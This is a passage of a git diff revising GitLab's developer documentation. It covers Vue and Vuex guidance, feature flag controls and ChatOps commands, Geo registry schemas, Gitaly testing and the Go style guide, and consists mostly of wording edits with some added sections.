@@ across the codebase. #### Accessing the `gl` object -When we need to query the `gl` object for data that doesn't change during the application's life -cycle, we should do it in the same place where we query the DOM. By following this practice, we can +We query the `gl` object for data that doesn't change during the application's life +cycle in the same place we query the DOM. By following this practice, we can avoid the need to mock the `gl` object, which makes tests easier. It should be done while initializing our Vue instance, and the data should be provided as `props` to the main component: @@ -148,8 +148,8 @@ This approach has a few benefits: - Arbitrarily deeply nested components can opt-in and access the flag without intermediate components being aware of it (c.f. passing the flag down via props). -- Good testability, since the flag can be provided to `mount`/`shallowMount` - from `vue-test-utils` simply as a prop. +- Good testability, because the flag can be provided to `mount`/`shallowMount` + from `vue-test-utils` as a prop. ```javascript import { shallowMount } from '@vue/test-utils'; @@ -207,20 +207,20 @@ Based on the Vue guidance: such as `user: new User()`. - **Do not** add new JavaScript class implementations. - **Do** use [GraphQL](../api_graphql_styleguide.md), [Vuex](vuex.md) or a set of components if -cannot use simple primitives or objects. +cannot use primitives or objects. - **Do** maintain existing implementations using such approaches. - **Do** Migrate components to a pure object model when there are substantial changes to it. -- **Do** add business logic to helpers or utils, so you can test them separately from your component. +- **Do** add business logic to helpers or utilities, so you can test them separately from your component. #### Why There are additional reasons why having a JavaScript class presents maintainability issues on a huge codebase: -- Once a class is created, it is easy to extend it in a way that can infringe Vue reactivity and best practices. +- After a class is created, it can be extended in a way that can infringe Vue reactivity and best practices. - A class adds a layer of abstraction, which makes the component API and its inner workings less clear. -- It makes it harder to test. Since the class is instantiated by the component data function, it is +- It makes it harder to test. Because the class is instantiated by the component data function, it is harder to 'manage' component and class separately. -- Adding OOP to a functional codebase adds yet another way of writing code, reducing consistency and clarity. +- Adding Object Oriented Principles (OOP) to a functional codebase adds yet another way of writing code, reducing consistency and clarity. ## Style guide @@ -234,8 +234,8 @@ for guidelines and best practices for testing your Vue components. Each Vue component has a unique output. This output is always present in the render function. -Although we can test each method of a Vue component individually, our goal must be to test the output -of the render/template function, which represents the state at all times. +Although each method of a Vue component can be tested individually, our goal is to test the output +of the render function, which represents the state at all times. Here's an example of a well structured unit test for [this Vue component](#appendix---vue-component-subject-under-test): @@ -345,12 +345,12 @@ component under test, with the `computed` property, for example). Remember to us ```javascript const checkbox = wrapper.findByTestId('checkboxTestId'); - + expect(checkbox.attributes('disabled')).not.toBeDefined(); - + findChildComponent().vm.$emit('primary'); await nextTick(); - + expect(checkbox.attributes('disabled')).toBeDefined(); ``` @@ -359,14 +359,14 @@ component under test, with the `computed` property, for example). Remember to us ```javascript // bad expect(findChildComponent().find('.error-alert').exists()).toBe(false); - + // good expect(findChildComponent().props('withAlertContainer')).toBe(false); ``` ### Events -We should test for events emitted in response to an action within our component, this is useful to +We should test for events emitted in response to an action in our component. This is used to verify the correct events are being fired with the correct arguments. For any DOM events we should use [`trigger`](https://vue-test-utils.vuejs.org/api/wrapper/#trigger) @@ -416,7 +416,7 @@ You should only apply to be a Vue.js expert when your own merge requests and you > This section is added temporarily to support the efforts to migrate the codebase from Vue 2.x to Vue 3.x -Currently, we recommend to minimize adding certain features to the codebase to prevent increasing +We recommend to minimize adding certain features to the codebase to prevent increasing the tech debt for the eventual migration: - filters; diff --git a/doc/development/fe_guide/vue3_migration.md b/doc/development/fe_guide/vue3_migration.md index 9d2f3b27968..ee25e97ab6e 100644 --- a/doc/development/fe_guide/vue3_migration.md +++ b/doc/development/fe_guide/vue3_migration.md @@ -26,7 +26,7 @@ Component's computed properties / methods or external helpers. **What to use instead** -Vue docs recommend using [mitt](https://github.com/developit/mitt) library. It's relatively small (200 bytes gzipped) and has a simple API: +Vue documentation recommends using the [mitt](https://github.com/developit/mitt) library. It's relatively small (200 bytes, compressed) and has a clear API: ```javascript import mitt from 'mitt' @@ -51,9 +51,9 @@ emitter.off('foo', onFoo) // unlisten **Event hub factory** -To make it easier for you to migrate existing event hubs to the new recommended approach, or simply -to create new ones, we have created a factory that you can use to instantiate a new mitt-based -event hub. +We have created a factory that you can use to instantiate a new mitt-based event hub. +This makes it easier to migrate existing event hubs to the new recommended approach, or +to create new ones. ```javascript import createEventHub from '~/helpers/event_hub_factory'; @@ -88,7 +88,7 @@ It is not recommended to replace stateful components with functional components **Why?** -In Vue 2.6 `slot` attribute was already deprecated in favor of `v-slot` directive but its usage is still allowed and sometimes we prefer using them because it simplifies unit tests (with old syntax, slots are rendered on `shallowMount`). However, in Vue 3 we can't use old syntax anymore. +In Vue 2.6 `slot` attribute was already deprecated in favor of `v-slot` directive. The `slot` attribute usage is still allowed and sometimes we prefer using it because it simplifies unit tests (with old syntax, slots are rendered on `shallowMount`). However, in Vue 3 we can't use old syntax anymore. **What to use instead** diff --git a/doc/development/fe_guide/vuex.md b/doc/development/fe_guide/vuex.md index 1d83335291a..cc1d9ccab77 100644 --- a/doc/development/fe_guide/vuex.md +++ b/doc/development/fe_guide/vuex.md @@ -146,7 +146,7 @@ The only way to change state in a Vuex store is by committing a mutation. Most mutations are committed from an action using `commit`. If you don't have any asynchronous operations, you can call mutations from a component using the `mapMutations` helper. -See the Vuex docs for examples of [committing mutations from components](https://vuex.vuejs.org/guide/mutations.html#committing-mutations-in-components). +See the Vuex documentation for examples of [committing mutations from components](https://vuex.vuejs.org/guide/mutations.html#committing-mutations-in-components). #### Naming Pattern: `REQUEST` and `RECEIVE` namespaces @@ -271,7 +271,7 @@ import { mapGetters } from 'vuex'; ### `mutation_types.js` -From [vuex mutations docs](https://vuex.vuejs.org/guide/mutations.html): +From [Vuex mutations documentation](https://vuex.vuejs.org/guide/mutations.html): > It is a commonly seen pattern to use constants for mutation types in various Flux implementations. > This allows the code to take advantage of tooling like linters, and putting all constants in a > single file allows your collaborators to get an at-a-glance view of what mutations are possible @@ -429,7 +429,7 @@ export default { #### Testing Vuex concerns -Refer to [Vuex docs](https://vuex.vuejs.org/guide/testing.html) regarding testing Actions, Getters and Mutations. +Refer to [Vuex documentation](https://vuex.vuejs.org/guide/testing.html) regarding testing Actions, Getters and Mutations. #### Testing components that need a store diff --git a/doc/development/feature_flags.md b/doc/development/feature_flags.md deleted file mode 100644 index 7456e8df8d9..00000000000 --- a/doc/development/feature_flags.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'feature_flags/index.md' ---- - -This document was moved to [another location](feature_flags/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md index adcf3175c45..21ac152c469 100644 --- a/doc/development/feature_flags/controls.md +++ b/doc/development/feature_flags/controls.md @@ -11,12 +11,12 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo To be able to turn on/off features behind feature flags in any of the GitLab Inc. provided environments such as staging and production, you need to -have access to the [Chatops](../chatops_on_gitlabcom.md) bot. The Chatops bot +have access to the [ChatOps](../chatops_on_gitlabcom.md) bot. The ChatOps bot is currently running on the ops instance, which is different from <https://gitlab.com> or <https://dev.gitlab.org>. -Follow the Chatops document to [request access](../chatops_on_gitlabcom.md#requesting-access). +Follow the ChatOps document to [request access](../chatops_on_gitlabcom.md#requesting-access). -Once you are added to the project test if your access propagated, +After you are added to the project test if your access propagated, run: ```shell @@ -37,7 +37,7 @@ easier to measure the impact of both separately. The GitLab feature library (using [Flipper](https://github.com/jnunemaker/flipper), and covered in the [Feature Flags process](process.md) guide) supports rolling out changes to a percentage of -time to users. This in turn can be controlled using [GitLab Chatops](../../ci/chatops/README.md). +time to users. This in turn can be controlled using [GitLab ChatOps](../../ci/chatops/index.md). For an up to date list of feature flag commands please see [the source code](https://gitlab.com/gitlab-com/chatops/blob/master/lib/chatops/commands/feature.rb). @@ -48,7 +48,7 @@ If you get an error "Whoops! This action is not allowed. This incident will be reported." that means your Slack account is not allowed to change feature flags or you do not [have access](#access). -### Enabling a feature for preproduction testing +### Enabling a feature for pre-production testing As a first step in a feature rollout, you should enable the feature on <https://about.staging.gitlab.com> and <https://dev.gitlab.org>. @@ -62,7 +62,7 @@ a (very) rough estimate of how your feature will look/behave on GitLab.com. Both of these instances are connected to Sentry so make sure you check the projects there for any exceptions while testing your feature after enabling the feature flag. -For these preproduction environments, the commands should be run in a +For these pre-production environments, the commands should be run in a Slack channel for the stage the feature is relevant to. For example, use the `#s_monitor` channel for features developed by the Monitor stage, Health group. @@ -77,7 +77,7 @@ To enable a feature for 25% of all users, run the following in Slack: ### Enabling a feature for GitLab.com When a feature has successfully been -[enabled on a preproduction](#enabling-a-feature-for-preproduction-testing) +[enabled on a pre-production](#enabling-a-feature-for-pre-production-testing) environment and verified as safe and working, you can roll out the change to GitLab.com (production). @@ -226,11 +226,27 @@ you should fully roll out the feature by enabling the flag **globally** by runni This changes the feature flag state to be **enabled** always, which overrides the existing gates (e.g. `--group=gitlab-org`) in the above processes. +##### Disabling feature flags + +To disable a feature flag that has been globally enabled you can run: + +```shell +/chatops run feature set some_feature false +``` + +To disable a feature flag that has been enabled for a specific project you can run: + +```shell +/chatops run feature set --group=gitlab-org some_feature false +``` + +You cannot selectively disable feature flags for a specific project/group/user without applying a [specific method of implementing](development.md#selectively-disable-by-actor) the feature flags. + ### Feature flag change logging -#### Chatops level +#### ChatOps level -Any feature flag change that affects GitLab.com (production) via [Chatops](https://gitlab.com/gitlab-com/chatops) +Any feature flag change that affects GitLab.com (production) via [ChatOps](https://gitlab.com/gitlab-com/chatops) is automatically logged in an issue. The issue is created in the @@ -243,7 +259,7 @@ The issue is then also posted to the GitLab internal marker to make the change even more visible. Changes to the issue format can be submitted in the -[Chatops project](https://gitlab.com/gitlab-com/chatops). +[ChatOps project](https://gitlab.com/gitlab-com/chatops). #### Instance level diff --git a/doc/development/feature_flags/development.md b/doc/development/feature_flags/development.md index dd732a08c72..0cdfa3e68d7 100644 --- a/doc/development/feature_flags/development.md +++ b/doc/development/feature_flags/development.md @@ -66,6 +66,13 @@ Feature.disabled?(:my_ops_flag, project, type: :ops) push_frontend_feature_flag(:my_ops_flag, project, type: :ops) ``` +### `experiment` type + +`experiment` feature flags are used for A/B testing on GitLab.com. + +An `experiment` feature flag should conform to the same standards as a `development` feature flag, +although the interface has some differences. More information can be found in the [experiment guide](../experiment_guide/index.md). + ## Feature flag definition and validation > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229161) in GitLab 13.3. @@ -321,6 +328,28 @@ Feature.enabled?(:feature_flag, group) Feature.enabled?(:feature_flag, user) ``` +#### Selectively disable by actor + +By default you cannot selectively disable a feature flag by actor. + +```shell +# This will not work how you would expect. +/chatops run feature set some_feature true +/chatops run feature set --project=gitlab-org/gitlab some_feature false +``` + +However, if you add two feature flags, you can write your conditional statement in such a way that the equivalent selective disable is possible. + +```ruby +Feature.enabled?(:a_feature, project) && Feature.disabled?(:a_feature_override, project) +``` + +```shell +# This will enable a feature flag globally, except for gitlab-org/gitlab +/chatops run feature set a_feature true +/chatops run feature set --project=gitlab-org/gitlab a_feature_override true +``` + ### Enable additional objects as actors To use feature gates based on actors, the model needs to respond to @@ -398,6 +427,9 @@ to ensure the feature works properly. When using the testing environment, all feature flags are enabled by default. +WARNING: +This does not apply to end-to-end (QA) tests, which [do not disable feature flags by default](#end-to-end-qa-tests). There is a different [process for using feature flags in end-to-end tests](../testing_guide/end_to_end/feature_flags.md). + To disable a feature flag in a test, use the `stub_feature_flags` helper. For example, to globally disable the `ci_live_trace` feature flag in a test: @@ -545,3 +577,17 @@ a mode that is used by `production` and `development`. You should use this mode only when you really want to tests aspects of Flipper with how it interacts with `ActiveRecord`. + +### End-to-end (QA) tests + +Toggling feature flags works differently in end-to-end (QA) tests. The end-to-end test framework does not have direct access to +Rails or the database, so it can't use Flipper. Instead, it uses [the public API](../../api/features.md#set-or-create-a-feature). Each end-to-end test can [enable or disable a feature flag during the test](../testing_guide/end_to_end/feature_flags.md). Alternatively, you can enable or disable a feature flag before one or more tests when you [run them from your GitLab repository's `qa` directory](https://gitlab.com/gitlab-org/gitlab/tree/master/qa#running-tests-with-a-feature-flag-enabled-or-disabled), or if you [run the tests via GitLab QA](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#running-tests-with-a-feature-flag-enabled). + +[As noted above, feature flags are not enabled by default in end-to-end tests.](#feature-flags-in-tests) +This means that end-to-end tests will run with feature flags in the default state implemented in the source +code, or with the feature flag in its current state on the GitLab instance under test, unless the +test is written to enable/disable a feature flag explicitly. + +When a feature flag is changed on Staging or on GitLab.com, a Slack message will be posted to the `#qa-staging` or `#qa-production` channels to inform +the pipeline triage DRI so that they can more easily determine if any failures are related to a feature flag change. However, if you are working on a change you can +help to avoid unexpected failures by [confirming that the end-to-end tests pass with a feature flag enabled.](../testing_guide/end_to_end/feature_flags.md#confirming-that-end-to-end-tests-pass-with-a-feature-flag-enabled) diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md index e93a5b3de1b..4890cc5da35 100644 --- a/doc/development/feature_flags/index.md +++ b/doc/development/feature_flags/index.md @@ -31,7 +31,8 @@ In all cases, those working on the changes should ask themselves: > Why do I need to add a feature flag? If I don't add one, what options do I have to control the impact on application reliability, and user experience? -For perspective on why we limit our use of feature flags please see the following [video](https://www.youtube.com/watch?v=DQaGqyolOd8). +For perspective on why we limit our use of feature flags please see +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Feature flags only when needed](https://www.youtube.com/watch?v=DQaGqyolOd8). In case you are uncertain if a feature flag is necessary, simply ask about this in an early merge request, and those reviewing the changes will likely provide you with an answer. diff --git a/doc/development/feature_flags/process.md b/doc/development/feature_flags/process.md index 7e6299c193c..65a6d01e0a2 100644 --- a/doc/development/feature_flags/process.md +++ b/doc/development/feature_flags/process.md @@ -155,7 +155,7 @@ It may seem like feature flags are configuration, which goes against our [conven principle. However, configuration is by definition something that is user-manageable. Feature flags are not intended to be user-editable. Instead, they are intended as a tool for Engineers and Site Reliability Engineers to use to de-risk their changes. Feature flags are the shim that gets us -to Continuous Delivery with our mono repo and without having to deploy the entire codebase on every change. +to Continuous Delivery with our monorepo and without having to deploy the entire codebase on every change. Feature flags are created to ensure that we can safely rollout our work on our terms. If we use Feature Flags as a configuration, we are doing it wrong and are indeed in violation of our principles. If something needs to be configured, we should intentionally make it configuration from the @@ -173,5 +173,5 @@ Some of the benefits of using development-type feature flags are: 1. Improved throughput: when a change is less risky because a flag exists, theoretical tests about scalability can potentially become unnecessary or less important. This allows an engineer to potentially test a feature on a small project, monitor the impact, and proceed. The alternative might - be to build complex benchmarks locally, or on staging, or on another GitLab deployment, which has an - outsized impact on the time it can take to build and release a feature. + be to build complex benchmarks locally, or on staging, or on another GitLab deployment, which has a + large impact on the time it can take to build and release a feature. diff --git a/doc/development/filtering_by_label.md b/doc/development/filtering_by_label.md index b10e2f6e082..2b9c7efc087 100644 --- a/doc/development/filtering_by_label.md +++ b/doc/development/filtering_by_label.md @@ -137,7 +137,7 @@ object, so the number of combinations would balloon further. ### Attempt B2: store label titles for each object -From the perspective of updating the labelable object, this is the worst +From the perspective of updating the object, this is the worst option. We have to bulk update the objects when: 1. The objects are moved from one project to another. @@ -159,7 +159,7 @@ However, at present, the disadvantages outweigh the advantages. ## Conclusion -We have yet to find a method that is demonstratably better than the current +We have yet to find a method that is demonstrably better than the current method, when considering: 1. Query performance. diff --git a/doc/development/foreign_keys.md b/doc/development/foreign_keys.md index 37764a12f97..abe191ace5e 100644 --- a/doc/development/foreign_keys.md +++ b/doc/development/foreign_keys.md @@ -75,7 +75,7 @@ your models _unless_ absolutely required and only when approved by database specialists. For example, if each row in a table has a corresponding file on a file system it may be tempting to add a `after_destroy` hook. This however introduces non database logic to a model, and means we can no longer rely on -foreign keys to remove the data as this would result in the filesystem data +foreign keys to remove the data as this would result in the file system data being left behind. In such a case you should use a service class instead that takes care of removing non database data. diff --git a/doc/development/frontend.md b/doc/development/frontend.md deleted file mode 100644 index 040004a6917..00000000000 --- a/doc/development/frontend.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'fe_guide/index.md' ---- - -This document was moved to [another location](fe_guide/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/gemfile.md b/doc/development/gemfile.md index c4a9ec4c454..0be772db12e 100644 --- a/doc/development/gemfile.md +++ b/doc/development/gemfile.md @@ -18,3 +18,16 @@ dependencies and build times. ## License compliance Refer to [licensing guidelines](licensing.md) for ensuring license compliance. + +## Upgrade Rails + +When upgrading the Rails gem and its dependencies, you also should update the following: + +- The [`Gemfile` in the `qa` directory](https://gitlab.com/gitlab-org/gitlab/-/blob/master/qa/Gemfile). +- The [`Gemfile` in Gitaly Ruby](https://gitlab.com/gitlab-org/gitaly/-/blob/master/ruby/Gemfile), + to ensure that we ship only one version of these gems. + +You should also update npm packages that follow the current version of Rails: + +- `@rails/ujs` +- `@rails/actioncable` diff --git a/doc/development/geo.md b/doc/development/geo.md index ed1837f9564..05fadcad08a 100644 --- a/doc/development/geo.md +++ b/doc/development/geo.md @@ -4,7 +4,7 @@ group: Geo info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Geo (development) **(PREMIUM ONLY)** +# Geo (development) **(PREMIUM SELF)** Geo connects GitLab instances together. One GitLab instance is designated as a **primary** node and can be run with multiple @@ -305,7 +305,7 @@ events include: - Repositories Changed event - Repository Created event - Hashed Storage Migrated event -- Lfs Object Deleted event +- LFS Object Deleted event - Hashed Storage Attachments event - Job Artifact Deleted event - Upload Deleted event diff --git a/doc/development/geo/framework.md b/doc/development/geo/framework.md index 148953dc418..e615fbc87a9 100644 --- a/doc/development/geo/framework.md +++ b/doc/development/geo/framework.md @@ -189,11 +189,6 @@ For example, to add support for files referenced by a `Widget` model with a mount_uploader :file, WidgetUploader - def local? - # Must to be implemented, Check the uploader's storage types - file_store == ObjectStorage::Store::LOCAL - end - # @param primary_key_in [Range, Widget] arg to pass to primary_key_in scope # @return [ActiveRecord::Relation<Widget>] everything that should be synced to this node, restricted by primary key def self.replicables_for_current_secondary(primary_key_in) @@ -279,17 +274,32 @@ For example, to add support for files referenced by a `Widget` model with a unless table_exists?(:widget_registry) ActiveRecord::Base.transaction do create_table :widget_registry, id: :bigserial, force: :cascade do |t| - t.integer :widget_id, null: false + t.bigint :widget_id, null: false + t.datetime_with_timezone :created_at, null: false + t.datetime_with_timezone :last_synced_at + t.datetime_with_timezone :retry_at + t.datetime_with_timezone :verified_at + t.datetime_with_timezone :verification_started_at + t.datetime_with_timezone :verification_retry_at t.integer :state, default: 0, null: false, limit: 2 + t.integer :verification_state, default: 0, null: false, limit: 2 t.integer :retry_count, default: 0, limit: 2 - t.datetime_with_timezone :retry_at - t.datetime_with_timezone :last_synced_at - t.datetime_with_timezone :created_at, null: false + t.integer :verification_retry_count, default: 0, limit: 2 + t.boolean :checksum_mismatch + t.binary :verification_checksum + t.binary :verification_checksum_mismatched + t.string :verification_failure, limit: 255 t.text :last_sync_failure t.index :widget_id, name: :index_widget_registry_on_widget_id, unique: true t.index :retry_at t.index :state + # To optimize performance of WidgetRegistry.verification_failed_batch + t.index :verification_retry_at, name: :widget_registry_failed_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 3))" + # To optimize performance of WidgetRegistry.needs_verification_count + t.index :verification_state, name: :widget_registry_needs_verification, where: "((state = 2) AND (verification_state = ANY (ARRAY[0, 3])))" + # To optimize performance of WidgetRegistry.verification_pending_batch + t.index :verified_at, name: :widget_registry_pending_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 0))" end end end @@ -310,6 +320,10 @@ For example, to add support for files referenced by a `Widget` model with a class Geo::WidgetRegistry < Geo::BaseRegistry include Geo::ReplicableRegistry + # TODO: Include VerificationState in VerifiableRegistry + # https://gitlab.com/gitlab-org/gitlab/-/issues/298811 + include ::Gitlab::Geo::VerificationState + include ::Geo::VerifiableRegistry MODEL_CLASS = ::Widget MODEL_FOREIGN_KEY = :widget_id @@ -366,6 +380,7 @@ For example, to add support for files referenced by a `Widget` model with a end include_examples 'a Geo framework registry' + include_examples 'a Geo verifiable registry' describe '.find_registry_differences' do ... # To be implemented diff --git a/doc/development/gitaly.md b/doc/development/gitaly.md index 5d062d7404e..87b9d35f99b 100644 --- a/doc/development/gitaly.md +++ b/doc/development/gitaly.md @@ -12,17 +12,18 @@ Workhorse and GitLab Shell. ## Deep Dive -In May 2019, Bob Van Landuyt hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) -on the [Gitaly project](https://gitlab.com/gitlab-org/gitaly) and how to contribute to it as a -Ruby developer, to share his domain specific knowledge with anyone who may work in this part of the +In May 2019, <!-- vale gitlab.Spelling = NO --> Bob Van Landuyt <!-- vale gitlab.Spelling = YES --> +hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) +on the [Gitaly project](https://gitlab.com/gitlab-org/gitaly). It included how to contribute to it as a +Ruby developer, and shared domain-specific knowledge with anyone who may work in this part of the codebase in the future. -You can find the [recording on YouTube](https://www.youtube.com/watch?v=BmlEWFS8ORo), and the slides +You can find the <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=BmlEWFS8ORo), and the slides on [Google Slides](https://docs.google.com/presentation/d/1VgRbiYih9ODhcPnL8dS0W98EwFYpJ7GXMPpX-1TM6YE/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/a4fdb1026278bda5c1c5bb574379cf80/Create_Deep_Dive__Gitaly_for_Create_Ruby_Devs.pdf). Everything covered in this deep dive was accurate as of GitLab 11.11, and while specific details may -have changed since then, it should still serve as a good introduction. +have changed, it should still serve as a good introduction. ## Beginner's guide @@ -43,7 +44,7 @@ needs direct access to the Git repository *must* be implemented in Gitaly, and exposed via an RPC. It's often easier to develop a new feature in Gitaly if you make the changes to -GitLab that will use the new feature in a separate merge request, to be merged +GitLab that intends to use the new feature in a separate merge request, to be merged immediately after the Gitaly one. This allows you to test your changes before they are merged. @@ -107,9 +108,9 @@ bundle exec rake gitlab:features:disable_rugged Most of this code exists in the `lib/gitlab/git/rugged_impl` directory. NOTE: -You should NOT need to add or modify code related to -Rugged unless explicitly discussed with the [Gitaly -Team](https://gitlab.com/groups/gl-gitaly/group_members). This code does +You should *not* need to add or modify code related to +Rugged unless explicitly discussed with the +[Gitaly Team](https://gitlab.com/groups/gl-gitaly/group_members). This code does NOT work on GitLab.com or other GitLab instances that do not use NFS. ## `TooManyInvocationsError` errors @@ -129,7 +130,7 @@ Isolate the source of the n+1 problem. This is normally a loop that results in G element in an array. If you are unable to isolate the problem, please contact a member of the [Gitaly Team](https://gitlab.com/groups/gl-gitaly/group_members) for assistance. -Once the source has been found, wrap it in an `allow_n_plus_1_calls` block, as follows: +After the source has been found, wrap it in an `allow_n_plus_1_calls` block, as follows: ```ruby # n+1: link to n+1 issue @@ -139,7 +140,7 @@ Gitlab::GitalyClient.allow_n_plus_1_calls do end ``` -Once the code is wrapped in this block, this code path is excluded from n+1 detection. +After the code is wrapped in this block, this code path is excluded from n+1 detection. ## Request counts @@ -164,13 +165,13 @@ end Normally, GitLab CE/EE tests use a local clone of Gitaly in `tmp/tests/gitaly` pinned at the version specified in `GITALY_SERVER_VERSION`. The `GITALY_SERVER_VERSION` file supports also -branches and SHA to use a custom commit in <https://gitlab.com/gitlab-org/gitaly>. +branches and SHA to use a custom commit in [the repository](https://gitlab.com/gitlab-org/gitaly). NOTE: With the introduction of auto-deploy for Gitaly, the format of `GITALY_SERVER_VERSION` was aligned with Omnibus syntax. It no longer supports `=revision`, it evaluates the file content as a Git -reference (branch or SHA). Only if it matches a semver does it prepend a `v`. +reference (branch or SHA). Only if it matches a semantic version does it prepend a `v`. If you want to run tests locally against a modified version of Gitaly you can replace `tmp/tests/gitaly` with a symlink. This is much faster @@ -195,7 +196,7 @@ Note that CI tests do not use your locally modified version of Gitaly. To use a custom Gitaly version in CI you need to update GITALY_SERVER_VERSION as described at the beginning of this section. -To use a different Gitaly repository, e.g., if your changes are present +To use a different Gitaly repository, such as if your changes are present on a fork, you can specify a `GITALY_REPO_URL` environment variable when running tests: @@ -210,15 +211,15 @@ and specify it in the URL: GITALY_REPO_URL=https://gitlab+deploy-token-1000:token-here@gitlab.com/nick.thomas/gitaly bundle exec rspec spec/lib/gitlab/git/repository_spec.rb ``` -To use a custom Gitaly repository in CI, for instance if you want your +To use a custom Gitaly repository in CI/CD, for instance if you want your GitLab fork to always use your own Gitaly fork, set `GITALY_REPO_URL` -as a [CI environment variable](../ci/variables/README.md#gitlab-cicd-environment-variables). +as a [CI/CD variable](../ci/variables/README.md). ### Use a locally modified version of Gitaly RPC client If you are making changes to the RPC client, such as adding a new endpoint or adding a new parameter to an existing endpoint, follow the guide for -[Gitaly proto](https://gitlab.com/gitlab-org/gitaly/blob/master/proto/README.md). After pushing +[Gitaly protobuf specifications](https://gitlab.com/gitlab-org/gitaly/blob/master/proto/README.md). After pushing the branch with the changes (`new-feature-branch`, for example): 1. Change the `gitaly` line in the Rails' `Gemfile` to: @@ -328,15 +329,15 @@ the integration by using GDK: 1. Uncomment `prometheus_listen_addr` in the configuration file and run `gdk restart gitaly`. 1. Make sure that the flag is not enabled yet: - 1. Perform whatever action is required to trigger your changes (project creation, - submitting commit, observing history, etc.). + 1. Perform whatever action is required to trigger your changes, such as project creation, + submitting commit, or observing history. 1. Check that the list of current metrics has the new counter for the feature flag: ```shell curl --silent "http://localhost:9236/metrics" | grep go_find_all_tags ``` -1. Once you observe the metrics for the new feature flag and it increments, you +1. After you observe the metrics for the new feature flag and it increments, you can enable the new feature: 1. Navigate to GDK's root directory. 1. Start a Rails console: @@ -359,7 +360,7 @@ the integration by using GDK: ``` 1. Exit the Rails console and perform whatever action is required to trigger - your changes (project creation, submitting commit, observing history, etc.). + your changes, such as project creation, submitting commit, or observing history. 1. Verify the feature is on by observing the metrics for it: ```shell diff --git a/doc/development/go_guide/dependencies.md b/doc/development/go_guide/dependencies.md index 72b3f82d86f..c5af21d0772 100644 --- a/doc/development/go_guide/dependencies.md +++ b/doc/development/go_guide/dependencies.md @@ -178,4 +178,4 @@ authenticate requests made over HTTP. Go rejects HTTP-only entries in `GOPROXY` that have embedded credentials. In a future version, Go may add support for arbitrary authentication headers. -Follow [golang/go#26232](https://github.com/golang/go/issues/26232) for details. +Follow [`golang/go#26232`](https://github.com/golang/go/issues/26232) for details. diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md index 68210c08a00..f352db918ed 100644 --- a/doc/development/go_guide/index.md +++ b/doc/development/go_guide/index.md @@ -63,10 +63,9 @@ of possible security breaches in our code: Remember to run [SAST](../../user/application_security/sast/index.md) and [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) -**(ULTIMATE)** on your project (or at least the [gosec -analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/gosec)), -and to follow our [Security -requirements](../code_review.md#security-requirements). +**(ULTIMATE)** on your project (or at least the +[`gosec` analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/gosec)), +and to follow our [Security requirements](../code_review.md#security-requirements). Web servers can take advantages of middlewares like [Secure](https://github.com/unrolled/secure). @@ -92,9 +91,9 @@ projects: - Avoid global variables, even in packages. By doing so you introduce side effects if the package is included multiple times. - Use `goimports` before committing. - [goimports](https://godoc.org/golang.org/x/tools/cmd/goimports) + [`goimports`](https://godoc.org/golang.org/x/tools/cmd/goimports) is a tool that automatically formats Go source code using - [Gofmt](https://golang.org/cmd/gofmt/), in addition to formatting import lines, + [`Gofmt`](https://golang.org/cmd/gofmt/), in addition to formatting import lines, adding missing ones and removing unreferenced ones. Most editors/IDEs allow you to run commands before/after saving a file, you can set it @@ -162,8 +161,8 @@ be downloaded repeatedly, which can lead to intermittent problems due to rate limiting or network failures. In these circumstances, you should [cache the downloaded code between](../../ci/caching/index.md#caching-go-dependencies). -There was a [bug on modules -checksums](https://github.com/golang/go/issues/29278) in Go < v1.11.4, so make +There was a +[bug on modules checksums](https://github.com/golang/go/issues/29278) in Go versions earlier than v1.11.4, so make sure to use at least this version to avoid `checksum mismatch` errors. ### ORM @@ -171,7 +170,7 @@ sure to use at least this version to avoid `checksum mismatch` errors. We don't use object-relational mapping libraries (ORMs) at GitLab (except [ActiveRecord](https://guides.rubyonrails.org/active_record_basics.html) in Ruby on Rails). Projects can be structured with services to avoid them. -[pgx](https://github.com/jackc/pgx) should be enough to interact with PostgreSQL +[`pgx`](https://github.com/jackc/pgx) should be enough to interact with PostgreSQL databases. ### Migrations @@ -193,7 +192,7 @@ external dependencies might be worth considering in case we decide to use a spec library or framework: - [Testify](https://github.com/stretchr/testify) -- [httpexpect](https://github.com/gavv/httpexpect) +- [`httpexpect`](https://github.com/gavv/httpexpect) ### Subtests @@ -329,8 +328,8 @@ A few things to keep in mind when adding context: ## CLIs Every Go program is launched from the command line. -[cli](https://github.com/urfave/cli) is a convenient package to create command -line apps. It should be used whether the project is a daemon or a simple cli +[`cli`](https://github.com/urfave/cli) is a convenient package to create command +line apps. It should be used whether the project is a daemon or a simple CLI tool. Flags can be mapped to [environment variables](https://github.com/urfave/cli#values-from-the-environment) directly, which documents and centralizes at the same time all the possible command line @@ -389,7 +388,7 @@ functionality: This gives us a thin abstraction over underlying implementations that is consistent across Workhorse, Gitaly, and, in future, other Go servers. For example, in the case of `gitlab.com/gitlab-org/labkit/tracing` we can switch -from using Opentracing directly to using Zipkin or Gokit's own tracing wrapper +from using `Opentracing` directly to using `Zipkin` or Gokit's own tracing wrapper without changes to the 